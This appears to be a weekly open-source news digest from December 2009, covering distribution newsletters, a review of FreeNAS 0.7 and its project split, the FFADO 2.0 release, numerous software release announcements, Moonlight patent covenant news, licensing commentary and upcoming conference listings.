The Fedora Weekly News for December 20, 2009 is out. "Welcome to the final Fedora Weekly News of 2009! We will be taking a break after this issue and return with issue 208 on January 11, 2010. Have a wonderful holiday season how ever you celebrate it! In this issue, we kick off with announcements including a reminder of Fedora 10 end of life, FESCo election results, and notification of Fedora mailing lists migration. In news from the Fedora Planet, several posts covering FUDCon Toronto, a continuation of the Plymouth Theming Guide, and details on the source control move from cvs to git, as well as several posts around virtualization. In Quality Assurance news, a recap of the weekly QA team meetings, increasing grub timeout, and X.org server testing. Our issue finishes with Security Advisories for Fedora 11 and 12. We hope you enjoy FWN 207!"

Full Story (comments: none)

OpenSUSE Weekly News/102

This issue of the OpenSUSE Weekly News covers Joe Brockmeier: openSUSE Build Service Integrates with openDesktop.org to reach 150,000 contributors, Michal Seben: cronie daemon is openSUSE, MakeUseOf.com/Varun Kashyap: 6 Different Ways To End Unresponsive Programs In Linux, Joe Brockmeier: Web Winners and Losers in 2009, h-online.com/Thorsten Leemhuis: Kernel Log: Linux 2.6.33 to include Nvidia graphics driver nouveau, and more.

Comments (none posted)

Ubuntu Weekly Newsletter #173

The Ubuntu Weekly Newsletter for December 19, 2009 is out. "In this issue we cover: Mark Shuttleworth: My new focus at Canonical, Lucid Community Team Plans, Michal Zajac (quintasan) Interview, Ubuntu Weekly Newsletter Notification, New update for the Ubuntu Israeli website, Ubuntu Catalan: What a LoCo November, James Westby: Ubuntu Distributed Development Overview, Ubuntu Forums: In a month, Ubuntu's Jono Bacon: Managing an Open Source Community, Cloud-oriented netbook distro arrives in beta, and much, much more!"

Full Story (comments: none)

Two other great Linux distributions: MEPIS & Mint (ComputerWorld)

Steven J. Vaughan-Nichols takes a look at MEPIS and Mint. "MEPIS is easily the most obscure of my favorite distributions. Unlike most Linux distributions, it has neither a company nor a community behind it. MEPIS is almost entirely the product of one developer, Warren Woodford."

Comments (1 posted)

FreeNAS 0.7: powerful and not dead

Recently, the FreeNAS developers have released version 0.7 of their FreeBSD-based operating system for network-attached storage (NAS). This is a major release, which introduces support for the ZFS file system among other things. Around the same time, fears were expressed about the future of FreeNAS as a BSD-based NAS but, in the end, a solution has been found.

FreeNAS 0.7 is based on FreeBSD 7.2 and includes a lot of file sharing protocols. This way it can talk to all major operating systems: GNU/Linux, the BSDs, Windows, and Mac OS X. FreeNAS also supports several types of media streaming protocols and can act like an iTunes server. In addition, it supports iSCSI and different levels of software RAID. All of this can be managed from the web interface so users don't have to know the FreeBSD commands under the hood.

One of the advantages of FreeNAS is that it has very low system requirements, as it needs only 128 MB of RAM. This makes it attractive to blow the dust off an old Pentium 2 or 3 PC, put a couple of hard drives in it and make it a NAS. Of course, for high performance the machine still needs enough RAM and CPU horsepower. All of this makes FreeNAS a popular operating system for central storage and media streaming at home.

Installation

FreeNAS has downloads for 32-bit and 64-bit hardware, in a live version and an installable version. The installable version is for installation on a USB stick, hard drive, or Compact Flash card, while the live version doesn't touch the hard drive of the system but can save its configuration to a USB stick or floppy disk.

After the installer has booted, it shows the user a simple menu in the console to set up the basics. The user can assign network interfaces, set IP addresses, reset the password for the web interface or reset all settings to the factory defaults, open a shell, reboot or shutdown the system, and install or upgrade FreeNAS to a hard drive or USB stick. Most of that is just for troubleshooting, because the bulk of the settings are available in the web interface.

Configuration

Once FreeNAS has been assigned an IP address, the user can surf to the web interface in a browser and log in with the default user name and password. The first thing FreeNAS displays is some system information, such as the CPU and memory usage, the load averages and the disk space usage. The latter will show "No disk configured" first, but available disks can be added easily in the "Disks -> Management" menu by clicking on the plus icon, choosing the disk, and entering some optional settings. After this, don't forget to click on "Apply changes" on the disk management page. The next steps are formatting and choosing a mount point.

When choosing a file system for a hard drive in the "Disks -> Format" menu, FreeNAS recommends the BSD file system UFS. Other supported file systems are FAT32, NTFS, Ext2, or Ext3, but the web interface expressly warns that they can result in unpredictable results. While the web interface doesn't warn against using ZFS (which has its own menu item, because it is not only a file system but also a logical volume manager), users have to keep in mind that FreeNAS 0.7 is still based on FreeBSD 7.2 which calls ZFS support "experimental".

The goal of a NAS if of course sharing the data with users, and FreeNAS has a lot of services at its disposal to do this: FTP, TFTP, NFS, Samba, AFP (for Mac OS X users), HTTP, rsync (ideal for making backups on the NAS) and Unison (for file synchronization). It can also share a disk as an iSCSI target to another computer in the local network. But FreeNAS can also act as a streaming media server for clients that are compatible with UPnP (Universal Plug and Play) or iTunes, or it can run BitTorrent to download torrents directly on the NAS.

In general, the web interface is intuitive enough to do a lot of things without having to look up the documentation. At the same time, it is really powerful, with even the possibility to edit arbitrary files, run arbitrary commands, tune some FreeBSD kernel parameters with sysctl or add variables to rc.conf. It also shows a lot of status information. Unfortunately, documentation such as the FreeNAS Setup and User Guide is still lagging behind.

Death of a FreeBSD descendant?

During the last few months, the future of the FreeNAS project seemed in peril. The project's core developer Volker Theile announced in September that he would stop developing FreeNAS and switch his work to a new project, called CoreNAS, which would be based on Debian GNU/Linux. Some reasons he listed for this switch are:

• The Debian installer is more customizable than the hand-written FreeNAS install scripts.
• Wake-on-LAN for waking up the NAS automatically works in Linux.
• Linux has a working sensor framework to check the temperature and fan speeds.
• The system can be updated with the Debian package manager.
• Linux has better driver support.

According to Volker, the current architecture of FreeNAS is not flexible enough to add the new features users have been asking him for:

His eye fell quickly on the Debian infrastructure, which seemed to reduce the work to get a new FreeNAS to a minimum. A big plus of Linux is that it supports more new hardware than FreeBSD.

But of course this left FreeNAS users with a problem: what about the ZFS support that has been added in FreeNAS 0.7? A lot of the new users were attracted solely by this feature, which didn't seem to have a future in CoreNAS. Would they have to migrate their freshly installed data to another file system in the next release? Volker wrote that his FreeNAS successor would maybe have ZFS over FUSE, but the performance would of course not be the same. So the only real option users of ZFS on FreeNAS seemed to have was to migrate to an OpenSolaris-based NAS operating system such as EON or Nexenta Core Platform. However, these don't have the intuitive web interface that FreeNAS has (NexentaStor, the commercial and proprietary variant of Nexenta Core Platform, has one, and a 4 TB developer license is free as in beer).

Rumors of FreeNAS' death greatly exaggerated

But then in the beginning of December, FreeNAS founder Olivier Cochard-Labbé appeared deus ex machina. He agreed with Volker that a full rewrite of the FreeNAS base is needed, and he clarified that this will happen along two different paths. On the one hand, Volker will develop his Linux-based CoreNAS idea in a new project, OpenMediaVault (the website is empty at the moment). On the other hand, the company iXsystems will take on FreeNAS development and rewrite it. As part of this, Olivier will work on upgrading it to the FreeBSD 8.0 code base, which will introduce production-ready ZFS support.

Matt Olander, the Chief Technology Officer at iXsystems and also a member of the FreeBSD and PC-BSD projects, officially joined the FreeNAS project with some explanation on the forum:

Matt added that iXsystems will start digging through the forums and search some low hanging fruit to implement in the first future release of FreeNAS, an upgrade to FreeBSD 8.

So, in the end, a crisis has been averted and, with luck, everyone will be happy. The users that have been attracted to FreeNAS because of ZFS can keep using it and will get an update. In addition, they get commercial backing by iXsystems. The users that have been asking for features such as Wake-on-LAN, a sensor framework, and more hardware support get their rewrite to Linux, done by Volker in his spare time. Let's hope that FreeNAS and OpenMediaVault keep working together to share their efforts.

Comments (14 posted)

The Free Firewire Audio Drivers reach version 2.0

The FFADO (Free FireWire Audio Drivers) project supports the connection of FireWire-based audio devices to Linux systems:

The About FFADO document describes the wide goals of the project:

The online FFADO Manual and FAQ are somewhat out of date, the documentation recommends visiting the wiki for the most recent information. FFADO's roots can be traced to this paper [PDF] entitled FireWire (Pro-)Audio for Linux which was presented at the 2007 Linux Audio Conference by Pieter Palmers.

Digging through the documentation reveals some of the FFADO features including:

• Supports FireWire audio interfaces, MIDI devices, control surfaces and more.
• The Device List and Usage By Device documents show many supported devices.
• Works together with the JACK audio connection kit and the Ardour multi-track audio workstation.
• Requires the Linux kernel version 2.6.21 or later.
• Uses the raw1394 kernel module.
• Supports up to four devices per IEEE-1394 controller.

FFADO support is relatively new, it showed up in the Ubuntu Studio 9.04 distribution (April, 2009) and first worked with JACK 0.109.0 and QjackCtl 0.3.2.

Version 2.0 of FFADO was announced on December 19, 2009, this version of the software has been in the release candidate state for over a year with FFADO 2.0 release candidate 2 arriving on May 17, 2009 and FFADO 2.0 release candidate 1 arriving on November 23, 2008.

From the release announcement:

The announcement also hints at what's to come in upcoming FFADO releases:

Through its relatively short history, FFADO seems to be evolving, becoming more generic and including support for an ever-growing list of FireWire devices. FFADO will allow Linux users to tap into a wide range of useful devices, increasing the functionality of Linux-powered audio workstations. Congratulations go out to the developers for their hard work.

Comments (none posted)

ALSA 1.0.22 released

Version 1.0.22 of ALSA has been announced. "The changes are listed in this URL: http://www.alsa-project.org/main/index.php/Changes_v1.0.2..."

Full Story (comments: none)

Rivendell 1.6.0 released

Version 1.6.0 of Rivendell, a radio station automation system, has been announced. "Changes: New RLM Plug-in. A new plug-in for the Liquid Compass Internet encoder has been added. Cart Notes. Added the ability to enter free-form text for each cart in the Library. This text can then be displayed in a 'help bubble' when floating the mouse cursor over the cart's entry in the Library cart list. Bugfixes. See the ChangeLog for details. Database Update.."

Full Story (comments: none)

MySQL Community Server 5.0.89 has been released

Version 5.0.89 of MySQL Community Server has been announced. "This Community release shares the version number with its MySQL Enterprise Server counterpart. Please note this is the last release of 5.0 before it exits active maintenance."

Full Story (comments: none)

MySQL 5.5.0-m2 has been released

Version 5.5.0 of the MySQL DBMS has been announced. "The "-m2" suffix tells this is the second milestone according to our "milestone" release model, also called "Betony". You can read more about the release model and the planned milestones at http://forge.mysql.com/wiki/Development_Cycle The new features in this release are of beta quality. As with any other pre-production release, caution should be taken when installing on production level systems or systems with critical data."

Full Story (comments: none)

Hot Standby to be included in PostgreSQL 8.5alpha3

PostgreSQL 8.5alpha3 will gain the Hot Standby capability. "Today, after long last, Simon Riggs has committed Hot Standby to the Postgres CVS repository: http://archives.postgresql.org/pgsql-committers/2009-12/m... Thus, Hot Standby (aka "Allow read only connections during recovery") will be included in the soon-to-come alpha3 release of PostgreSQL-8.5." See the PostgreSQL 8.5alpha3 announcement for more information. (Thanks to Michael Banck).

Comments (none posted)

PostgreSQL Weekly News

The December 20, 2009 edition of the PostgreSQL Weekly News is online with the latest PostgreSQL DBMS articles and resources.

Full Story (comments: none)

libnetfilter_conntrack 0.0.101 released

Version 0.0.101 of libnetfilter_conntrack has been announced. "libnetfilter_conntrack is a userspace library providing a programming interface (API) to the in-kernel connection tracking state table. This library requires a linux kernel >= 2.6.18. This release includes a one fix and several cleanups from Hannes Eder."

Full Story (comments: none)

VirtualBox 3.1.2 released

Version 3.1.2 of VirtualBox has been announced. "Today Sun released VirtualBox 3.1.2, a maintenance release of VirtualBox 3.1 which improves stability and fixes regressions."

Full Story (comments: none)

Midgard2 9.09.1 released

Version 9.09.1 of the Midgard2 web development platform has been announced. "Main changes from 9.09.0 release: * New connection routines (#1475) * New MidgardQueryBuilder signals (#1486, #1487) * Configuration supports remote host's port (#1248) * MgdSchema files compatibility fix (#1503) * Storage related fixes (#1533, #1543) * Fixed crashes when running Midgard with Apache (#1520) * Fixed D-Bus path issue (#1552)".

Full Story (comments: none)

P3D visualization package

The P3D visualization package has been launched. It is: "A Python library that generates processing.js code for 3D rendering and visualization including a pure python algorithm for computing iso- surfaces from VTK files. The generated 3D objects can rotated in the browser. Requires a browser with <canvas> support, jquery and processing.js. This is implemented in modules/p3d.py and works with any python web framework including web2py, Django and Pylons."

Full Story (comments: none)

web2py 1.74.3 released

Version 1.74.3 of the web2py web framework has been announced. "New features: - better support for legacy databases. - easier upgrades - plugins and components system - support for GAE *IN* operator - all fields now have default validators - support for virtual computed fields - distributed transactions support extended to mysql, firebird and postgresql - always backward compatible".

Full Story (comments: none)

GZRBOT 0.1 released

Version 0.1 of GZRBOT has been announced. "I want to release GZRBOT to the world. This is a rename of the CMNDBOT bot, since this name matches the one of GOZERBOT the best and thats what this bot is best described .. GOZERBOT on the Google Application Engine."

Full Story (comments: none)

jack_capture V0.9.36 and Ceres V0.48 announced

Version 0.9.36 of jack_capture and version 0.48 of Ceres of have been announced, they include various enhancements. "jack_capture is a program for recording soundfiles with jack. Its default operation is to capture whatever sound is going out to your speakers into a file, but it can do a number of other operations as well."

Full Story (comments: none)

GNOME 2.28.2 released

Version 2.28.2 of the GNOME desktop has been announced. "This is the last update to GNOME 2.28. It contains many fixes for important bugs that directly affect our users, documentation updates and also a large number of updated translations. Many thanks to all the contributors who worked hard on delivering those changes in time. We hope it will help people feel better in their daily use of computers!"

Full Story (comments: none)

GNOME Software Announcements

The following new GNOME software has been announced this week:

• atk 1.29.4 (bug fix)
• AT-SPI2 0.1.4 (new features and bug fixes)
• Brasero 2.29.4 (bug fixes and translation work)
• Empathy 2.29.4 (new features, bug fixes and translation work)
• Evince 2.29.4 (new features, bug fixes and translation work)
• Eye of GNOME 2.28.2 (bug fixes and translation work)
• GCalctool 5.29.4 (new features, bug fixes and translation work)
• GDM2 2.28.2 (bug fixes and documentation work)
• GLib 2.23.1 (new features, bug fixes and translation work)
• GNOME Games 2.28.2 (new features, bug fixes, documentation and translation work)
• GNOME Games 2.29.4 (new features, bug fixes and translation work)
• gnome-keyring 2.29.4 (new features, bug fixes and translation work)
• GTK+ 2.19.2 (new features, bug fixes and translation work)
• libgweather 2.29.4 (new features, bug fixes and translation work)
• libgnome-keyring 2.29.4 (initial release)
• librep 0.90.4 (bug fixes and documentation work)
• Rygel 0.4.8 (bug fixes)
• mousetweaks 2.29.4 (translation work)
• Nautilus 2.29.1 (change in focus)
• Nautilus-Actions 2.29.2 (new features and bug fixes)
• Orca 2.29.4 (bug fixes and translation work)
• PyGobject 2.21.0 (new features and bug fixes)
• rep-gtk 0.90.1 (new features)
• Sawfish 1.6.0 (new features, bug fixes and code cleanup)
• tracker 0.7.12 (new features, bug fixes and documentation work)
• tracker 0.7.13 (new features and bug fixes)
• Tumblefile 1.2 (new features and translation work)
• Vala 0.7.9 (new features and bug fixes)

You can find more new GNOME software releases at gnomefiles.org.

Comments (none posted)

Custom Transitioning Backgrounds In KDE3 (Linux Journal)

Linux Journal's Ross Larson presents a tutorial on making a KDE3 background slideshow. "My recent article about transitioning slide show backgrounds in GNOME garnered quite a bit of attention, so here's my first reminder of how to do the same thing in other desktop environments. This one will show you how to create a custom slide show backgrounds in KDE3."

Comments (9 posted)

KDE Software Announcements

The following new KDE software has been announced this week:

• KDE SC 4.4 Beta 2 (unspecified)
• Kipi-plugins 1.0.0 (unspecified)
• KPrayertime4 4.0 (unspecified)
• KTorrent 4.0beta1 and 3.3.2 (new features and bug fixes)
• pyRad 0.2 (unspecified)
• satyr 0.3 (unspecified)

You can find more new KDE software releases at kde-apps.org.

Comments (none posted)

Xorg Software Announcements

The following new Xorg software has been announced this week:

• viewres 1.0.2 (bug fixes and documentation work)
• xbiff 1.0.2 (bug fixes, code cleanup and documentation work)
• xcalc 1.0.3 (bug fixes and code cleanup)
• xeyes 1.1.0 (bug fixes, code cleanup and documentation work)
• xorg-server 1.7.99.2 (new features, bug fixes and documentation work)
• xpyb 1.2 (bug fixes and documentation work)

More information can be found on the X.Org Foundation wiki.

Comments (none posted)

GnuPG 2.0.14 released

Version 2.0.14 of GnuPG has been announced. "We are pleased to announce the availability of a new stable GnuPG-2 release: Version 2.0.14. The GNU Privacy Guard (GnuPG) is GNU's tool for secure communication and data storage. It can be used to encrypt data, create digital signatures, help authenticating using Secure Shell and to provide a framework for public key cryptography."

Full Story (comments: none)

Wine 1.1.35 announced

Version 1.1.35 of Wine has been announced. Changes include: "- Support for OLE transacted storage. - Better certificate checking on secure connections. - More progress on the 16-bit separation. - Left 4 Dead 2 DRM really supported now. - MSI performance improvements. - 64-bit fixes in debugger support. - Various bug fixes."

Comments (none posted)

Sylpheed 3.0beta4 (development) released

Version 3.0beta4 of the Sylpheed mail client has been announced with the following changes: "# The folder icons were renewed. # The setup dialog on the first run became user-friendly. # 'Last 7 days' was added to the quick search options. # The number of matched messages is displayed at the side of quick search now. # Description is displayed on the quick search entry when it does not have focus. # Always show warning dialog when SSL certificate is expired. # The menu item to request disposition notification was added to the compose window..."

Comments (none posted)

FluidSynth 1.1.1 released

Version 1.1 of FluidSynth, a software synthesizer based on the SoundFont 2 standard, has been announced. "This is primarily a bug fix release to 1.1.0, but also includes a couple new API additions. Upgrade from 1.1.0 is highly recommended, as there were many regressions in that version, especially in regards to QSynth compatibility."

Full Story (comments: none)

MusE 1.0 released

Version 1.0 of MusE, a music sequencer, has been announced. "This is not the beginning, nor the end, but it marks the culmination of 10 years of feature packed and bug ridden development towards the goal of making a good platform for creating music on the Linux platform".

Full Story (comments: none)

Virtual MIDI Piano Keyboard 0.3.1 released

Version 0.3.1 of Virtual MIDI Piano Keyboard has been announced, it adds a number of new capabilities and some new translations. "Virtual MIDI Piano Keyboard is a MIDI events generator and receiver. It doesn't produce any sound by itself, but can be used to drive a MIDI synthesizer (either hardware or software, internal or external). You can use the computer's keyboard to play MIDI notes, and also the mouse. You can use the Virtual MIDI Piano Keyboard to display the played MIDI notes from another instrument or MIDI file player."

Full Story (comments: none)

Roundup release 1.4.11 announced

Version 1.4.11 of the Roundup issue tracker has been announced. "I'm proud to release version 1.4.11 of Roundup which fixes a number bugs and closes a potential security hole. ALL tracker maintainers MUST read the upgrading documentation to make sure the hole is fixed in their tracker."

Full Story (comments: none)

OpenOffice.org announces "end-of-life" for version 2.x

Version 2.x of the OpenOffice.org productivity suite has reached the "end-of-life" status, version 3.2 is soon to arrive. "With each new release, users are strongly encouraged to upgrade, to benefit from new features, bug fixes and security improvements. After a new major release, the community supports legacy releases for a period of time to help users with upgrading and migrating. With version 3.x being available for more than 15 months now, the Community has decided it is time to cease maintaining the 2.x software. As a consequence, OpenOffice.org 2.4.3 will be the last release of the legacy 2.x series and no subsequent bugfix or security releases will be made available."

Full Story (comments: none)

digiKam 1.0.0 is released

Version 1.0.0 of the digiKam photo management application has been released. Many new features including a new "First Run Assistant", a batch queue manager, and better multi-language support have been added. Lots of bugs have been squished as well. We recently reviewed one of the digiKam 1.0 betas.

Full Story (comments: none)

Moonlight 2 released with a new patent covenant

Miguel de Icaza has announced the availability of Moonlight 2, which is said to be a feature superset of Microsoft's Silverlight 2. There is also an expanded patent covenant (text seemingly unavailable at this time): "The new patent covenant ensures that other third party distributions can distribute Moonlight without their users fearing of getting sued over patent infringement by Microsoft. There is one important difference between the version of Moonlight that will be available from Novell and the version that you will get from your distribution: the version obtained from Novell will have access to licensed media codecs." From this LinuxPlanet article, it seems that this covenant does not cover Mono. (Thanks to Paul Wise).

Comments (29 posted)

Caml Weekly News

The December 22, 2009 edition of the Caml Weekly News is out with new articles about the Caml language.

Full Story (comments: none)

Parrot 1.9.0 released

Version 1.9.0 of Parrot has been announced. "On behalf of the Parrot team, I'm proud to announce Parrot 1.9.0 "Blue-fronted Amazon". Parrot, http://parrot.org/, is a virtual machine aimed at running dynamic languages."

Full Story (comments: none)

Perl 5.11.3 now available

Version 5.11.3 of Perl has been announced. "This is the fourth DEVELOPMENT release in the 5.11.x series leading to a stable release of Perl 5.12.0. You can find a list of high-profile changes in this release in the file "perl5113delta.pod" inside the distribution. Perl 5.11.3 is, hopefully, the last release of Perl 5.11.x before code freeze for Perl 5.12.0. At that point, we will only make changes which fix regressions from previous released versions of Perl or which resolve issues we believe would make a stable release of Perl 5.12.0 inadvisable."

Full Story (comments: none)

Rakudo Perl 6 Development Release #24 announced

Development Release #24 of Rakudo Perl 6, an implementation of Perl 6 on the Parrot Virtual Machine, has been announced. "Due to the continued rapid pace of Rakudo development and the frequent addition of new Perl 6 features and bugfixes, we recommend building Rakudo from the latest source, available from the main repository at github."

Full Story (comments: none)

PHP 5.2.12 released

Version 5.2.12 of PHP has been announced. "The PHP development team would like to announce the immediate availability of PHP 5.2.12. This release focuses on improving the stability of the PHP 5.2.x branch with over 60 bug fixes, some of which are security related. All users of PHP 5.2 are encouraged to upgrade to this release."

Comments (none posted)

PyBindGen 0.13 released

Version 0.13 of PyBindGen has been announced. "PyBindGen is a Python module that is geared to generating C/C++ code that binds a C/C++ library for Python. It does so without extensive use of either C++ templates or C pre-processor macros. It has modular handling of C/C++ types, and can be easily extended with Python plugins. The generated code is almost as clean as what a human programmer would write."

Full Story (comments: none)

pylint 0.19 / astng 0.19.2 released

Versions 0.19 of pylint and 0.19.2 of astng have been announced. "This is a "community" release, including the work we've done during the pylint bug day and patches mostly from James Lingard and Vincent Ferotin. Many thanks to James Lingard which provided two long waited features: * check of function call arguments * check string interpolation consistency".

Full Story (comments: none)

GDB 7.0.1 released

Version 7.0.1 of GDB, the GNU Debugger, has been announced. "GDB 7.0.1 is a minor corrective release."

Full Story (comments: none)

Bazaar 2.0.3 and 2.1.0b4 released

Version 2.0.3 and 2.1.0b4 of the bzr version control system have been announced. "The third release of Bazaar 2.0 (2.0.3) has a small handful of bugfixes. As expected, this has no internal or external compatibility changes versus 2.0.2 (or 2.0.0). The fourth beta release in the 2.1 series brings with it a significant number of bugfixes (~20)."

Full Story (comments: none)

Git 1.6.5.7 released

Version 1.6.5.7 of the Git distributed version control system has been announced. "Nothing spectacular to see here, but as I was tagging 1.6.6-rc3 today, I wanted to push out fixes accumulated on the maintenance branch in a tagged release. Everything in this release is also in 1.6.6-rc3."

Full Story (comments: none)

Checker 1.0 released

Version 1.0 of Checker has been announced. "I'm pleased to announce the first release of Checker. This is a cross-platform, pluggable tool for comparing the configuration of a machine with a known configuration stored in text files in a source control system all written in Python."

Full Story (comments: none)

The FAI Project celebrates its 10th anniversary

The FAI Project has announced its 10th anniversary. "Ten years ago, on December 21st, 1999, Thomas Lange announced the release of version 1.0 of FAI (Fully Automatic Installation). The tool was developed at the University of Cologne, because the author was too lazy to install Debian on 16 hosts manually. FAI now also supports the installation of Ubuntu and RPM-based Linux distributions."

Full Story (comments: none)

Shuttleworth stepping down as Canonical CEO

Mark Shuttleworth has announced that, as of March, he'll relinquish the job of Canonical CEO to Jane Silber. "I’ve become very passionate about design and quality, and want to spend more time figuring out how we harness the collaborative process to build better, more insightful products. I can’t think of a more interesting challenge, and luckily I couldn’t think of a better person to take over my formal management and leadership responsibilities at Canonical than Jane."

Comments (15 posted)

MontaVista Partners With CriticalBlue

MontaVista has announced a partnership with CriticalBlue. "MontaVista(r) Software LLC, a leader in embedded Linux(r) commercialization, and CriticalBlue, a pioneer in embedded multicore software analysis, exploration and verification tools, announced today CriticalBlue has joined the MontaVista partner program and will make their Prism product available on MontaVista Linux 6 and Montavista Linux Carrier Grade Edition products."

Full Story (comments: none)

The text of the new Moonlight covenant

For the curious, Microsoft has posted the new "covenant not to sue" covering Moonlight 3 and 4. It is still quite narrow. "Microsoft, on behalf of itself and its Subsidiaries, hereby covenants not to sue End Users for infringement under Necessary Claims of Microsoft and its Subsidiaries on account of such End Users' use of Moonlight Implementations to the extent originally provided by Novell during the Term and, if applicable, the Extension or Post-Extension Period, but only to the extent such Moonlight Implementations are used as Conforming Runtimes." Microsoft can also discontinue it at any time.

Comments (19 posted)

Security on Rails--New from Pragmatic Press

Pragmatic Press has published the book Security on Rails by Ben Poweski and David Raphael.

Full Story (comments: none)

Web Design for Developers--New from Pragmatic Bookshelf

Pragmatic Bookshelf has published the book Web Design for Developers by Brian Hogan.

Full Story (comments: none)

10 x 10: LPI and IBM developerWorks

IBM developerWorks and LPI are celebrating both of their 10 year anniversaries. "2009 marked the 10th Anniversary of LPI. In addition, IBM developerWorks celebrated their own 10th Anniversary. The developerWorks crew marked their anniversary by creating a webpage called: "10 important Linux developments everyone should know about: Celebrating 10 years of Linux accomplishments".

Full Story (comments: 1)

The GPL Compliance Engineering Guide

Armijn Hemel has released version 3.0 of the The GPL Compliance Engineering Guide (PDF). "Compliance engineering and checking for licensing issues tends to endanger profit. First of all, it delays the release. Proper compliance engineering could take a few days (depending on the device), any questions regarding sources have to go back to the factory, sources have to be shipped, and so on. Often the factory won't or can't release all sources (because they bought it too) and it could take many months before the device is compliant. Arriving a few months later than the competition will mean you lost the race. Companies often also don't get more than one or two test samples, which they cannot afford to lend out to a compliance engineer when they need to test functionality."

Comments (15 posted)

Meeks: Some thoughts on copyright assignment

Michael Meeks's posting on copyright assignment is not a quick read, but it's worth the effort; this is a more thorough look at the issue than your editor has seen elsewhere. "I am not aware of a single project that mandates copyright assignment to a corporation that has a diverse, and thriving developer community. If there was even one, the business model of 'communitising' a code-base, then firing all your developers, sitting back, and collecting an effort-free rent might become attractive. In contrast I am aware of many diverse and thriving communities that have eclectic ownership, and also some less thriving ones that are dominated by single entities."

Comments (12 posted)

"The meaning of open" according to Google

Here is a lengthy weblog posting by Google VP Jonathan Rosenberg on what "open" means to that company. It was, evidently, initially meant for employees, then made available to the wider world. "So as you are building your product or adding new features, stop and ask yourself: Would open sourcing this code promote the open Internet? Would it spur greater user, advertiser, and partner choice? Would it lead to greater competition and innovation? If so, then you should make it open source. And when you do, do it right; don't just push it over the wall into the public realm and forget about it. Make sure you have the resources to pay attention to the code and foster developer engagement."

Comments (32 posted)

Updegrove: A Concise Introduction to Free and Open Source Software

Andy Updegrove introduces free and open source software in a post on his blog. The blog version is the introduction of a longer article that seeks to give an overall summary of what FOSS is and how it came about for audiences that may have heard of it, but are not really up on what it is. "That movement questions the utility and fairness of many traditional copyright and patent-based legal restrictions, and seeks to liberate information for the benefit of all. In the case of FLOSS, it also articulates a set of ethical rules intended not only to foster free access, but also to inspire — and in some cases require — those that benefit from such access to contribute their own modifications and additions to FLOSS back to the common weal as well."

Comments (5 posted)

FUDCon Toronto: please take the 5-minute feedback survey

A FUDCon survey is taking place. "FUDCon Toronto is over - our largest FUDCon yet! We'd love to get your thoughts on how it went, so: * If you attended FUDCon Toronto, either in-person or remotely via Fedora Live, please take this survey and tell us what you thought. * If you didn't attend FUDCon Toronto but wanted to, please take this survey and tell us how we can help you get to the next one. * If you didn't want to go to FUDCon Toronto, please take this survey and tell us why - it's anonymous. ;-) "

Full Story (comments: none)

OSCON Puts Open Source to Work

A call for participation has gone out for the O'Reilly Open Source Convention. "OSCON, the O'Reilly Open Source Convention puts the freedom of open source to work July 19-23, 2010, at the Oregon Convention Center in Portland. Program chairs Edd Dumbill and Allison Randal have opened the call for participation, requesting proposals for sessions and tutorials." Proposals are due by February 1.

Full Story (comments: none)

Texas Linux Fest announces keynote speaker and call for papers

Texas Linux Fest (TLF) has announced that openSUSE community manager Joe "Zonker" Brockmeier will keynote the first annual Linux and open source conference for Texas and the surrounding region. TLF will be held April 10, 2010 at the Monarch Event Center in Austin, Texas. The call for papers is also open, with a submission deadline of February 15, 2010. "In that spirit, Texas Linux Fest is an entirely community-driven event, catering equally to the business and home Linux user, and to experienced developers and newcomers alike. We invite you to share your work with the rest of the community by submitting a talk for this year's event." Click below for the full announcement.

Full Story (comments: none)

10 candles for Brussels Free and Open Source Developer Meeting

FOSDEM will celebrate its 10th anniversary. "On February 6 and 7, over five thousand Free and Open Source developers gather at the University Libre de Bruxelles, campus Solbosch, for the tenth annual FOSDEM conference. Keynote speakers this year include Brooks Davis (FreeBSD committer), Richard Clayton (Cambridge university security expert) and Greg Kroah-Hartman (Linux kernel maintainer)."

Full Story (comments: none)

O'Reilly MySQL Conference and Expo 2010 announced

The MySQL Conference & Expo 2010 has been announced. "The MySQL ecosystem continues to thrive, with an engaged community working together on the open source database. O'Reilly Media invites this community to a new event, the O'Reilly MySQL Conference & Expo 2010, April 12-15, at the Santa Clara Convention Center and the Hyatt Regency Santa Clara."

Full Story (comments: none)

Events: December 31, 2009 to March 1, 2010

The following event listing is taken from the LWN.net Calendar.

Date(s)	Event	Location
January 13 January 15	Foundations of Open Media Software	Wellington, New Zealand
January 15 January 22	Camp KDE 2010	San Diego, CA, USA
January 18 January 23	linux.conf.au	Wellington, New Zealand
January 23	Workshop on GCC Research Opportunities	Pisa, Italy
January 23 January 24	DrupalSouth Wellington 2010	Wellington, New Zealand
February 2	Prague PostgreSQL Developers' Day 2010	Prague, Czech Republic
February 5 February 7	Frozen Perl 2010	Minneapolis, MN, USA
February 6	Super Happy Dev Castle #0	Belfast, N. Ireland, United Kingdom
February 6 February 7	Free and Open Source Developers' European Meeting	Brussels, Belgium
February 10	Red Hat Cloud Computing Forum	Online, Online
February 11 February 13	Bay Area Haskell Hackathon	Mountain View, USA
February 15 February 18	ARES 2010 Conference	Krakow, Poland
February 17 February 25	PyCon 2010	Atlanta, GA, USA
February 19 February 21	SCALE 8x - 2010 Southern California Linux Expo	Los Angeles, USA
February 19 February 20	GNUnify	Pune, India
February 20 February 21	FOSSTER '10	Amritapuri, India
February 22 February 24	O'Reilly Tools of Change for Publishing	New York, NY, USA
February 27 February 28	The Debian/GNOME bug weekend	Online, Internet

If your event does not appear here, please tell us about it.

New LLVM Blog announced

A new LLVM Blog has been announced. "A few of us got together and started an official LLVM (and its sub-projects) blog: http://blog.llvm.org/ I think that a blog is a potentially great way to cover some areas of LLVM that we're lacking in the community".

Full Story (comments: none)